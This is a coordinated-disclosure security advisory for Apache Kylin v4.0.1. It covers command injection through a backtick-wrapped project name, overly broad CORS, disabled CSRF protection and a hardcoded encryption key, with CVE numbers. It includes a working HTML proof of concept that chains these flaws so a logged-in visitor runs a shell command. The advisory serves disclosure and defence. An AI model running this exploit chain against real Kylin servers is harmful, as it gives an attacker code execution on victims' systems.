Coordinated Disclosure Timeline
- 2021-11-29: Report sent to security@apache.org
- 2021-12-21: Issues are acknowledged
- 2021-12-22: Patches are shared for verification
- 2022-01-06: Fixes are released
Summary
Multiple vulnerabilities where found on Apache Kylin leading to Command injection.
Product
Apache Kylin
Tested Version
v4.0.1
Details
Issue 1: Command injection (GHSL-2021-1048
)
Fix for previous vulnerability resulted in the following dumpProjectDiagnosisInfo method
public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException {
Message msg = MsgPicker.getMsg();
ProjectInstance projectInstance =
ProjectManager.getInstance(KylinConfig.getInstanceFromEnv())
.getProject(ValidateUtil.convertStringToBeAlphanumericUnderscore(project)); // [1]
if (null == projectInstance) {
throw new BadRequestException(
String.format(Locale.ROOT, msg.getDIAG_PROJECT_NOT_FOUND(), project));
}
aclEvaluate.checkProjectOperationPermission(projectInstance);
String[] args = { project, exportPath.getAbsolutePath() };
runDiagnosisCLI(args);
return getDiagnosisPackageName(exportPath);
}
This fix, however, introduced a new vulnerability. There is a mismatch between what is being checked (ValidateUtil.convertStringToBeAlphanumericUnderscore(project)
) and what is being used as the shell command argument (project
).
An attacker able to create a new project will be able to create a project named touchpwned
. Eg:
await fetch(
"http://localhost:7070/kylin/api/projects",
{
credentials: 'include',
method:'POST',
headers:{"Content-Type":"application/json"},
body:JSON.stringify({"projectDescData":"{\"name\":\"touchpwned\",\"description\":\"\",\"override_kylin_properties\":{}}"})
}
)
They will then be able to dump the diagnosis information for a project called:
`touch pwned`
The server will strip any non-alphanumeric or underscore characters from the project name in [1], which will result in loading the touchpwned
project created before.
However, the argument passed to the shell command will be:
`touch pwned`
and the resulting executed command will be:
/<path>/bin/diag.sh `touch pwned`
Impact
Post-authentication Remote Code Execution.
Issue 2: Overly broad CORS configuration (GHSL-2021-1049
)
Kylin reflects the Origin
header and allow credentials to be sent cross-origin in the default configuration. The preflight OPTIONS request:
OPTIONS /kylin/api/projects HTTP/1.1
Host: localhost:7070
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Referer: http://b49b-95-62-58-48.ngrok.io/
Origin: http://b49b-95-62-58-48.ngrok.io
Connection: keep-alive
Cache-Control: max-age=0
Will be replied with:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: http://b49b-95-62-58-48.ngrok.io
Access-Control-Allow-Credentials: true
Vary: Origin
Access-Control-Allow-Methods: DELETE, POST, GET, OPTIONS, PUT
Access-Control-Allow-Headers: Authorization, Origin, No-Cache, X-Requested-With, Cache-Control, Accept, X-E4m-With, If-Modified-Since, Pragma, Last-Modified, Expires, Content-Type
Content-Length: 0
Looks like CORS configuration is handled here:
<filter>
<filter-name>CORS</filter-name>
<filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class>
<init-param>
<param-name>cors.supportedHeaders</param-name>
<param-value>Authorization,Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With, Accept</param-value>
</init-param>
<init-param>
<param-name>cors.supportedMethods</param-name>
<param-value>GET, POST, PUT, DELETE, OPTIONS</param-value>
</init-param>
<init-param>
<param-name>cors.supportsCredentials</param-name>
<param-value>true</param-value>
</init-param>
</filter>
There is a CrossDomainFilter
which does NOT support sending credentials cross-origin and that would allow developers to disable CORS support entirely setting kylin.web.cross-domain-enabled
to FALSE
(defaults to TRUE
). However, this filter is not used.
if (KylinConfig.getInstanceFromEnv().isWebCrossDomainEnabled()) {
((HttpServletResponse) response).addHeader("Access-Control-Allow-Origin", "*");
((HttpServletResponse) response).addHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");
((HttpServletResponse) response).addHeader("Access-Control-Allow-Headers", "Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With, Accept, Authorization");
}
Impact
Cross-origin requests with credentials are allowed to be sent from any origin.
Issue 3: CSRF (GHSL-2021-1050
)
Cross-Server Request Forgery (CSRF) is disabled on all profiles by setting <scr:csrf disabled="true"/>
Impact
This issue may lead to CSRF
attacks
Issue 4: Hardcoded credentials (GHSL-2021-1051
)
In org.apache.kylin.common.util.EncryptUtil
the cipher is initialized with a hardcoded key and IV:
private static byte[] key = { 0x74, 0x68, 0x69, 0x73, 0x49, 0x73, 0x41, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x4b,
0x65, 0x79 };
private static final Cipher getCipher(int cipherMode) throws InvalidAlgorithmParameterException,
InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException {
Cipher cipher = Cipher.getInstance("AES/CFB/PKCS5Padding");
final SecretKeySpec secretKey = new SecretKeySpec(key, "AES");
IvParameterSpec ivSpec = new IvParameterSpec("AAAAAAAAAAAAAAAA".getBytes("UTF-8"));
cipher.init(cipherMode, secretKey, ivSpec);
return cipher;
}
This cipher is later used in:
JDBCConnectionManager.java:88
BroadcasterReceiveServlet.java
PasswordPlaceholderConfigurer.java
Impact
This issue may lead to information disclosure
.
PoC
Abusing issues 1, 2 and 3 together, an attacker could serve the following page which, if visited by a Kylin logged-in user, would result in:
- Victim sending authenticated request to create a project
- Victim sending authenticated request to dump project diagnosis info resulting in arbitrary command execution.
<html>
<body>
<script>
async function exploit() {
var payload = "`touch pwned`"
var sanitized_payload = payload.replace(/[^0-9a-z_]/gi, '')
await fetch(
"http://localhost:7070/kylin/api/projects",
{
credentials: 'include',
method:'POST',
headers:{"Content-Type":"application/json"},
body:JSON.stringify({"projectDescData":"{\"name\":\"" + sanitized_payload + "\",\"description\":\"\",\"override_kylin_properties\":{}}"})
}
)
await fetch(
"http://localhost:7070/kylin/api/diag/project/" + encodeURIComponent(payload) + "/download",
{
credentials: 'include',
method:'GET',
}
)
}
exploit()
</script>
</body>
</html>
CVE
- CVE-2021-45457: Apache Kylin: Overly broad CORS configuration
- CVE-2021-45456: Apache Kylin: Command injection
- CVE-2021-45458: Apache Kylin: Hardcoded credentials
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-1048
, GHSL-2021-1049
, GHSL-2021-1050
, or GHSL-2021-1051
in any communication regarding these issues.